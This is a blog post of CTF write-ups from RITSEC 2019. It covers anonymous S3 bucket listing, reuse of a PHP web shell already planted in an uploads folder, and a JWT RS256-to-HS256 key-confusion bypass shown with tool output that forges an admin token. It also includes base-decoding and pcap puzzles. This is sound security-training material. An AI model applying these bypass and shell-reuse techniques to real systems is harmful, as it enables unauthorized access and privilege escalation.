RITSEC CTF 2019 Writeups: AWS S3, JWT, RCE ...
Mon Nov 18, 2019 · 6 min read

Buckets of fun

There’s just some static HTML code at the challenge location. Reading the description suggest this is a AWS S3 misconfiguration.

$ aws s3 ls s3://list-s3.scriptingis.life.ctf --no-sign-request
2019-11-15 18:00:20        630 index.html
2019-11-15 18:00:20         25 youfoundme-asd897kjm.txt

$ aws s3 cp s3://list-s3.scriptingis.life.ctf/youfoundme-asd897kjm.txt - --no-sign-request
RITSEC{LIST_HIDDEN_FILES}

Potato

When opening the challenge, there is not much.

There’s a comment that suggests there are some kind of upload or photos capability:

<article>
....

<!-- upload and photos not yet linked -->
</article>

I try /uploads and there is a a lot of images. I figure that it’s someone tried to get a shell on the server. A quick search for <?php reveals the embedded shell that we can use to get RCE.

We pick a file that have a .php file extension so the PHP code will get executed.

TL;DR

  1. Find uploaded shell in /uploads
  2. Steal shell
  3. Cat flag

Our First API

Opening the challenge we see:

This page is only for authentication with our api, located at port 4000!

When we go to port 4000 we get the following API documentation:

Let’s fetch a token.

    GET /AUTH?name=fuc HTTP/1.1
    Host: ctfchallenges.ritsec.club:3000
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/75.0.3770.90 Chrome/75.0.3770.90 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    {"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6InVzZXIiLCJpYXQiOjE1NzM4NDI2MDh9.QYi3O0Lq8-aZ-p6YTMqHg09x33TXIkHX0M62vYHLY-GMc933En2h4s7rKtPfB6a55fmBPx5GknMP2LIcrnhhmufK7Pr8Z3TIPgqLO49A6__7hs3XImb03h55cZvpvYSZ3156Rh4inwxa1SR3jztYX8f_eRCa_-rmTxt0mON1bSs"}

We see that this is a JWT token.

We can confirm this by visiting /API/NORMAL and add a Authorization-header with the JWT token.

Now we need to elevate our privileges to admin. Burp found a public key. This suggest we will use the RS256 to HS256 bypass.

Save the public key as key.key. I’m using this tool:

- $ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6InVzZXIiLCJpYXQiOjE1NzM4NDI2MDh9.QYi3O0Lq8-aZ-p6YTMqHg09x33TXIkHX0M62vYHLY-GMc933En2h4s7rKtPfB6a55fmBPx5GknMP2LIcrnhhmufK7Pr8Z3TIPgqLO49A6__7hs3XImb03h55cZvpvYSZ3156Rh4inwxa1SR3jztYX8f_eRCa_-rmTxt0mON1bSs

  ,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
  ----''----''----''----''----''----''----''----''----''----'
       ,--.,--.   ,--.,--------.,--------.             ,--.
       |  ||  |   |  |'--.  .--''--.  .--',---.  ,---. |  |
  ,--. |  ||  |.'.|  |   |  |      |  |  | .-. || .-. ||  |
  |  '-'  /|   ,'.   |   |  |,----.|  |  ' '-' '' '-' '|  |
   `-----' '--'   '--'   `--''----'`--'   `---'  `---' `--'
  ,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
  '----''----''----''----''----''----''----''----''----''----'

  Token header values:
  [+] typ = JWT
  [+] alg = RS256

  Token payload values:
  [+] name = fuc
  [+] type = user
  [+] iat = 1573842608

  ######################################################

  # Options:

  # 1: Check CVE-2015-2951 - alg=None vulnerability

  # 2: Check for Public Key bypass in RSA mode

  # 3: Check signature against a key

  # 4: Check signature against a key file ("kid")

  # 5: Crack signature with supplied dictionary file

  # 6: Tamper with payload data (key required to sign)

  # 0: Quit

  ######################################################

  Please make a selection (1-6)

  > 6

  Token header values:
  [1] typ = JWT
  [2] alg = RS256
  [3] *ADD A VALUE*
  [0] Continue to next step

  Please select a field number:
  (or 0 to Continue)

  > 0

  Token payload values:
  [1] name = fuc
  [2] type = user
  [3] iat = 1573842608
  [0] Continue to next step

  Please select a field number:
  (or 0 to Continue)

  > 2

  Current value of type is: user
  Please enter new value and hit ENTER

  > admin
  > [1] name = fuc
  > [2] type = admin
  > [3] iat = 1573842608
  > [0] Continue to next step

  Please select a field number:
  (or 0 to Continue)

  > 0

  Token Signing:
  [1] Sign token with known key
  [2] Strip signature from token vulnerable to CVE-2015-2951
  [3] Sign with Public Key bypass vulnerability
  [4] Sign token with key file

  Please select an option from above (1-4):

  > 3

  Please enter the Public Key filename:

  > key.key
  > eyJuYW1lIjoiZnVjIiwidHlwZSI6ImFkbWluIiwiaWF0IjoxNTczODQyNjA4fQ

  Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
  (This will only be valid on unpatched implementations of JWT.)

  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6ImFkbWluIiwiaWF0IjoxNTczODQyNjA4fQ.0kH-AMv_Uid7qbMeuuSQQSVbcZhkgFKbja1GLwCC4ZE


We have now elevated our privileges to admin.

Now we can access the /API/ADMIN endpoint.

Onion Layer Encoding

We get a file that is base64/base16/base32 encoded a lot of times. Psuedo code like this:

    base64(base64(base32(base16(RS{flag}))))

Wrote a quick python script to decode with all possible permutations until the flag is returned.

import base64 
import time
with open("flag.txt") as fp:
    flag = fp.read().rstrip("\n")

def isprintable(s, codec='utf8'):
    try: s.decode(codec)
    except UnicodeDecodeError: return False
    else: return True


permutation = [flag]
while(True):
    possible = []
    for x in permutation:
        try:
            x2 = base64.b16decode(x,casefold=True).rstrip("\n")
            if isprintable(x2):
                possible.append(x2)
                print("B16 OK at ".format(x2))
            else:
                print("B16 fail1")
        except Exception as e:
            print("b16 fail")
        try:
            x3 = base64.b32decode(x).rstrip("\n")
            if isprintable(x3):
                possible.append(x3)
                print("B32 OK at ".format(x3))
            else:
                print("b32 fail1 ".format(x3))
        except Exception as e:
            print("B32 fail")
        try:
            x4 = base64.b64decode(x).rstrip("\n")
            if isprintable(x4):
                possible.append(x4)
                print("B64 OK at ".format(x4))
            else:
                print("b64 fail1")
        except Exception as e:
            print("B64 fail")
    if len(possible) == 0 or x is "":
        print(x)
        break
    permutation = possible
    possible = []

    b16 fail
    B32 fail
    B64 OK at 
    B16 OK at 
    B32 fail
    b64 fail1
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 fail
    B64 OK at 
    B16 OK at 
    B32 fail
    b64 fail1
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    B16 OK at 
    B32 fail
    b64 fail1
    b16 fail
    B32 fail
    B64 OK at 
    b16 fail
    B32 OK at 
    b64 fail1
    b16 fail
    B32 fail
    b64 fail1
    RITSEC{0n1On_L4y3R}

findme

This is a wireshark challenge. We open the pcap and find that there is communication to:

nc to this IP and port reveals a base64 encoded string.

    nc 18.219.169.113 1337
    H4sIAOKnx10AA+3OvQrCMADE8cx9ijxC0qbJKoiDq7qHaP0oSAltMonvbouLg+hURPj/lhvuhjtd
    w1nMTI2sNVNqV6vXfDKl0FVttSsrp8ed1pVxQqq5j03ykEIvpcj73KX8Yfel/1Ob9W67Wt7iIcTB
    q963yTdt0yV/WcR47O5F8euHAAAAAAAAAAAAAAAAAIB3HhZRz7sAKAAA

When piping it to file we get a gzip.

    $ echo -n "H4sIAOKnx10AA+3OvQrCMADE8cx9ijxC0qbJKoiDq7qHaP0oSAltMonvbouLg+hURPj/lhvuhjtd
    w1nMTI2sNVNqV6vXfDKl0FVttSsrp8ed1pVxQqq5j03ykEIvpcj73KX8Yfel/1Ob9W67Wt7iIcTB
    q963yTdt0yV/WcR47O5F8euHAAAAAAAAAAAAAAAAAIB3HhZRz7sAKAAA" | base64 -d | file -
    /dev/stdin: gzip compressed data, last modified: Sun Nov 10 06:02:10 2019, from Unix

Extract it and we get the flag:

RITSEC{pcaps_0r_it_didnt_h@ppen}


back · #root · A taste of security · Break it, fix it. · I'm Hugo